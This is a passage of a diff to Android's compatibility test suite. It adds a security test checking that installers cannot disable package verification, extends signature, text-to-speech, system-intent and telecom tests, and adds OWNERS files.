+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+@SecurityTest
+@AppModeFull
+public class PackageInstallerTest {
+
+    private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
+
+    private static final TestApp TEST_APP = new TestApp(
+            "PackageInstallerTestApp", TEST_APP_NAME, 1, /*isApex*/ false,
+            "PackageInstallerTestApp.apk");
+
+    @Before
+    public void setUp() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES,
+                        Manifest.permission.DELETE_PACKAGES,
+                        Manifest.permission.PACKAGE_VERIFICATION_AGENT,
+                        Manifest.permission.BIND_PACKAGE_VERIFIER);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Uninstall.packages(TestApp.A);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void verificationCanNotBeDisabledByInstaller() throws Exception {
+        Install.single(TEST_APP).addInstallFlags(
+                0x00080000 /* PackageManager.INSTALL_DISABLE_VERIFICATION */).commit();
+        String packageName = PackageVerificationsBroadcastReceiver.packages.poll(30,
+                TimeUnit.SECONDS);
+        Assert.assertNotNull("Did not receive broadcast", packageName);
+        Assert.assertEquals(TEST_APP_NAME, packageName);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index ee383b2..283910b 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,9 +52,11 @@
         PackageManager packageManager = mContext.getPackageManager();
         List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
                 PackageManager.GET_UNINSTALLED_PACKAGES |
-                PackageManager.GET_SIGNATURES);
+                PackageManager.GET_SIGNATURES |
+                PackageManager.MATCH_APEX);
         for (PackageInfo packageInfo : allPackageInfos) {
             String packageName = packageInfo.packageName;
+            Log.v(TAG, "Scanning " + packageName);
             if (packageName != null && !isWhitelistedPackage(packageName)) {
                 for (Signature signature : packageInfo.signatures) {
                     if (wellKnownSignatures.contains(signature)) {
@@ -80,6 +82,20 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java b/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java
new file mode 100644
index 0000000..62d409d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.content.pm.PackageManager.EXTRA_VERIFICATION_PACKAGE_NAME;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public final class PackageVerificationsBroadcastReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "PackageInstallerTest";
+
+    static final BlockingQueue<String> packages = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final String packageName = intent.getStringExtra(EXTRA_VERIFICATION_PACKAGE_NAME);
+        Log.i(TAG, "Received PACKAGE_NEEDS_VERIFICATION broadcast for package " + packageName);
+        try {
+            packages.put(packageName);
+        } catch (InterruptedException e) {
+            throw new AssertionError(e);
+        }
+    }
+}
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
new file mode 100644
index 0000000..7c35c11
--- /dev/null
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.packageinstallertestapp"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+
+    <package-verifier android:name="android.security.cts"
+                      android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB" />
+
+    <uses-sdk android:minSdkVersion="19" />
+
+    <application android:label="PackageInstallerTest Test App">
+        <activity android:name="android.security.cts.packageinstallertestapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java
new file mode 100644
index 0000000..aeb58c5
--- /dev/null
+++ b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.packageinstallertestapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+}
+
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index bc25d6c..d3b8083 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -18,6 +18,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "sts",
         "vts",
         "general-tests",
     ],
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 8bca08c..addd14e 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,8 +15,10 @@
  */
 package android.speech.tts.cts;
 
+import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Environment;
+import android.os.ParcelFileDescriptor;
 import android.speech.tts.TextToSpeech;
 import android.test.AndroidTestCase;
 
@@ -61,28 +63,54 @@
             int result =
                     getTts().synthesizeToFile(
                                     UTTERANCE, createParams("mocktofile"), sampleFile.getPath());
-            assertEquals("synthesizeToFile() failed", TextToSpeech.SUCCESS, result);
-
-            assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("mocktofile"));
-            assertTrue("synthesizeToFile() didn't produce a file", sampleFile.exists());
-            assertTrue("synthesizeToFile() produced a non-sound file",
-                    TextToSpeechWrapper.isSoundFile(sampleFile.getPath()));
+            verifySynthesisFile(result, mTts, sampleFile);
         } finally {
             sampleFile.delete();
         }
-        mTts.verify("mocktofile");
+        verifySynthesisResults(mTts);
+    }
 
-        final Map<String, Integer> chunksReceived = mTts.chunksReceived();
-        final Map<String, List<Integer>> timePointsStart = mTts.timePointsStart();
-        final Map<String, List<Integer>> timePointsEnd = mTts.timePointsEnd();
-        final Map<String, List<Integer>> timePointsFrame = mTts.timePointsFrame();
-        assertEquals(Integer.valueOf(10), chunksReceived.get("mocktofile"));
-        // In the mock we set the start, end and frame to exactly these values for the time points.
-        for (int i = 0; i < 10; i++) {
-            assertEquals(Integer.valueOf(i * 5), timePointsStart.get("mocktofile").get(i));
-            assertEquals(Integer.valueOf(i * 5 + 5), timePointsEnd.get("mocktofile").get(i));
-            assertEquals(Integer.valueOf(i * 10), timePointsFrame.get("mocktofile").get(i));
+    public void testSynthesizeToFileWithFileObject() throws Exception {
+        File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+        try {
+            assertFalse(sampleFile.exists());
+
+            Bundle params = createParamsBundle("mocktofile");
+
+            int result =
+                    getTts().synthesizeToFile(
+                                    UTTERANCE,
+                                    params,
+                                    sampleFile,
+                                    params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+            verifySynthesisFile(result, mTts, sampleFile);
+        } finally {
+            sampleFile.delete();
         }
+        verifySynthesisResults(mTts);
+    }
+
+    public void testSynthesizeToFileWithFileDescriptor() throws Exception {
+        File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+        try {
+            assertFalse(sampleFile.exists());
+
+            ParcelFileDescriptor fileDescriptor = ParcelFileDescriptor.open(sampleFile,
+                ParcelFileDescriptor.MODE_WRITE_ONLY
+                | ParcelFileDescriptor.MODE_CREATE
+                | ParcelFileDescriptor.MODE_TRUNCATE);
+
+            Bundle params = createParamsBundle("mocktofile");
+
+            int result =
+                getTts().synthesizeToFile(
+                    UTTERANCE, params, fileDescriptor,
+                    params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+            verifySynthesisFile(result, mTts, sampleFile);
+        } finally {
+            sampleFile.delete();
+        }
+        verifySynthesisResults(mTts);
     }
 
     public void testMaxSpeechInputLength() {
@@ -184,6 +212,39 @@
         return params;
     }
 
+    private Bundle createParamsBundle(String utteranceId) {
+        Bundle bundle = new Bundle();
+        bundle.putString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID, utteranceId);
+        return bundle;
+    }
+
+    private void verifySynthesisFile(int result, TextToSpeechWrapper mTts, File file)
+        throws InterruptedException {
+
+        assertEquals("synthesizeToFile() failed", TextToSpeech.SUCCESS, result);
+
+        assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("mocktofile"));
+        assertTrue("synthesizeToFile() didn't produce a file", file.exists());
+        assertTrue("synthesizeToFile() produced a non-sound file",
+                TextToSpeechWrapper.isSoundFile(file.getPath()));
+    }
+
+    private void verifySynthesisResults(TextToSpeechWrapper mTts) {
+        mTts.verify("mocktofile");
+
+        final Map<String, Integer> chunksReceived = mTts.chunksReceived();
+        final Map<String, List<Integer>> timePointsStart = mTts.timePointsStart();
+        final Map<String, List<Integer>> timePointsEnd = mTts.timePointsEnd();
+        final Map<String, List<Integer>> timePointsFrame = mTts.timePointsFrame();
+        assertEquals(Integer.valueOf(10), chunksReceived.get("mocktofile"));
+        // In the mock we set the start, end and frame to exactly these values for the time points.
+        for (int i = 0; i < 10; i++) {
+            assertEquals(Integer.valueOf(i * 5), timePointsStart.get("mocktofile").get(i));
+            assertEquals(Integer.valueOf(i * 5 + 5), timePointsEnd.get("mocktofile").get(i));
+            assertEquals(Integer.valueOf(i * 10), timePointsFrame.get("mocktofile").get(i));
+        }
+    }
+
     private boolean waitForUtterance(String utteranceId) throws InterruptedException {
         return mTts.waitForComplete(utteranceId);
     }
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4302325..5c8605d 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Instant apps can't have a sync adapter. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
diff --git a/tests/tests/syncmanager/OWNERS b/tests/tests/syncmanager/OWNERS
new file mode 100644
index 0000000..c475c6e
--- /dev/null
+++ b/tests/tests/syncmanager/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 197138
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index 2832bed..1541b09 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/systemintents/OWNERS b/tests/tests/systemintents/OWNERS
new file mode 100644
index 0000000..b465964
--- /dev/null
+++ b/tests/tests/systemintents/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25692
+ctate@google.com
\ No newline at end of file
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index f6911b3..3329bc7 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -16,9 +16,14 @@
 
 package android.systemintents.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.content.Context;
 import android.content.Intent;
+import android.content.pm.ActivityInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.content.res.Configuration;
@@ -29,12 +34,30 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class TestSystemIntents {
+    private static final int EXCLUDE_TV = 1 << 0;
+    private static final int EXCLUDE_WATCH = 1 << 1;
+    private static final int EXCLUDE_NON_TELEPHONY = 1 << 2;
+    private static final int EXCLUDE_NON_INSTALLABLE_IME = 1 << 3;
+
+    private static class IntentEntry {
+        public int flags;
+        public Intent intent;
+
+        public IntentEntry(int f, Intent i) {
+            flags = f;
+            intent = i;
+        }
+    }
+
+    private Context mContext;
+    private PackageManager mPackageManager;
 
     /*
      * List of activity intents defined by the system.  Activities to handle each of these
@@ -46,22 +69,6 @@
      * The flags associated with each intent indicate kinds of device on which the given
      * UI intent is *not* applicable.
      */
-
-    private static final int EXCLUDE_TV = 1 << 0;
-    private static final int EXCLUDE_WATCH = 1 << 1;
-    private static final int EXCLUDE_NON_TELEPHONY = 1 << 2;
-    private static final int EXCLUDE_NON_INSTALLABLE_IME = 1 << 3;
-
-    class IntentEntry {
-        public int flags;
-        public Intent intent;
-
-        public IntentEntry(int f, Intent i) {
-            flags = f;
-            intent = i;
-        }
-    }
-
     private final IntentEntry[] mTestIntents = {
             /* Settings-namespace intent actions */
             new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
@@ -81,20 +88,25 @@
                     new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS))
     };
 
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
     @Test
     public void testSystemIntents() {
-        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
         int productFlags = 0;
 
-        if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
             productFlags |= EXCLUDE_TV;
         }
 
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             productFlags |= EXCLUDE_NON_TELEPHONY;
         }
 
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
             productFlags |= EXCLUDE_NON_INSTALLABLE_IME;
         }
 
@@ -105,9 +117,33 @@
 
         for (IntentEntry e : mTestIntents) {
             if ((productFlags & e.flags) == 0) {
-                final ResolveInfo ri = pm.resolveActivity(e.intent, PackageManager.MATCH_DEFAULT_ONLY);
+                final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
+                        PackageManager.MATCH_DEFAULT_ONLY);
                 assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
             }
         }
     }
+
+    @Test
+    public void testManageOverlayPermissionIntentWithDataResolvesToSameIntentWithoutData() {
+        Intent genericIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+        Intent appSpecificIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+        appSpecificIntent.setData(Uri.fromParts("package", mContext.getPackageName(), null));
+
+        ResolveInfo genericResolveInfo = mPackageManager.resolveActivity(genericIntent, 0);
+        ResolveInfo appSpecificResolveInfo = mPackageManager.resolveActivity(appSpecificIntent, 0);
+
+        String errorMessage =
+                "ACTION_MANAGE_OVERLAY_PERMISSION intent with data and without data should "
+                        + "resolve to the same activity";
+        if (genericResolveInfo == null) {
+            assertNull(errorMessage, appSpecificResolveInfo);
+            return;
+        }
+        assertNotNull(errorMessage, appSpecificResolveInfo);
+        ActivityInfo genericActivity = genericResolveInfo.activityInfo;
+        ActivityInfo appActivity = appSpecificResolveInfo.activityInfo;
+        assertEquals(errorMessage, genericActivity.packageName, appActivity.packageName);
+        assertEquals(errorMessage, genericActivity.name, appActivity.name);
+    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 93fc4d9..1a84f34 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -16,8 +16,8 @@
 
 package android.systemui.cts;
 
-import static android.provider.DeviceConfig.NAMESPACE_WINDOW_MANAGER;
-import static android.provider.DeviceConfig.WindowManager.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
+import static android.provider.DeviceConfig.NAMESPACE_ANDROID;
+import static android.provider.AndroidDeviceConfig.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
 import static android.view.View.SYSTEM_UI_CLEARABLE_FLAGS;
 import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
 import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
@@ -839,10 +839,10 @@
     private static int getPropertyOfMaxExclusionHeight() {
         final int[] originalLimitDp = new int[1];
         SystemUtil.runWithShellPermissionIdentity(() -> {
-            originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_WINDOW_MANAGER,
+            originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_ANDROID,
                     KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP, -1);
             DeviceConfig.setProperty(
-                    NAMESPACE_WINDOW_MANAGER,
+                    NAMESPACE_ANDROID,
                     KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
                     Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
         });
@@ -864,7 +864,7 @@
         } finally {
             // Restore the value
             SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
-                    NAMESPACE_WINDOW_MANAGER,
+                    NAMESPACE_ANDROID,
                     KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
                     (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
                     false /* makeDefault */));
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index b8e86c1..2ecc8a1 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card" />
     </target_preparer>
diff --git a/tests/tests/telecom/OWNERS b/tests/tests/telecom/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 53403cf..a50c671 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -854,16 +854,26 @@
     }
 
     /**
-     * Tests whether the CallLogManager logs the features of a call(HD call and Wifi call)
+     * Tests whether the CallLogManager logs the features of a call(HD call, Wifi call, VoLTE)
      * correctly.
      */
-    public void testLogHdAndWifi() throws Exception {
+    public void testLogFeatures() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
 
         // Register content observer on call log and get latch
         CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
+
+        Bundle testBundle = new Bundle();
+        testBundle.putInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE,
+                          TelephonyManager.NETWORK_TYPE_LTE);
+        mConnection.putExtras(testBundle);
+        // Wait for the 2nd invocation; setExtras is called in the setup method.
+        mOnExtrasChangedCounter.waitForCount(2, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        Bundle extra = mCall.getDetails().getExtras();
+
         mCall.disconnect();
 
         // Wait on the call log latch.
@@ -871,11 +881,13 @@
 
         // Verify the contents of the call log
         Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
-                "features", null, null);
-        int features = callsCursor.getColumnIndex(CallLog.Calls.FEATURES);
+                null, null, "_id DESC");
+        callsCursor.moveToFirst();
+        int features = callsCursor.getInt(callsCursor.getColumnIndex("features"));
         assertEquals(CallLog.Calls.FEATURES_HD_CALL,
                 features & CallLog.Calls.FEATURES_HD_CALL);
         assertEquals(CallLog.Calls.FEATURES_WIFI, features & CallLog.Calls.FEATURES_WIFI);
+        assertEquals(CallLog.Calls.FEATURES_VOLTE, features & CallLog.Calls.FEATURES_VOLTE);
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index ec0a280..ed6decb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -22,6 +22,7 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
+import android.os.Process;
 import android.provider.VoicemailContract.Voicemails;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -30,11 +31,9 @@
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
-import android.os.Process;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import java.util.List;
 
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index ad80dcf..79e99cb 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom2/OWNERS b/tests/tests/telecom2/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telecom3/OWNERS b/tests/tests/telecom3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
new file mode 100644
index 0000000..73fa25e
--- /dev/null
+++ b/tests/tests/telephony/OWNERS
@@ -0,0 +1,14 @@
+# Bug component: 20868
+amitmahajan@google.com
+fionaxu@google.com
+jackyu@google.com
+rgreenwalt@google.com
+refuhoo@google.com
+mpq@google.com
+jminjie@google.com
+shuoq@google.com
+hallliu@google.com
+tgunn@google.com
+breadley@google.com
+paulye@google.com
+nazaninb@google.com
diff --git a/tests/tests/telephony/current/OWNERS b/tests/tests/telephony/current/OWNERS
deleted file mode 100644
index 7c8e7d8..0000000
--- a/tests/tests/telephony/current/OWNERS
+++ /dev/null
@@ -1,5 +0,0 @@
-# Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
index c0fd028..02c6651 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
@@ -18,8 +18,6 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assert.fail;
-
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.PersistableBundle;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index aafb9ef..50a2b50 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -24,6 +24,9 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
+import android.Manifest.permission;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
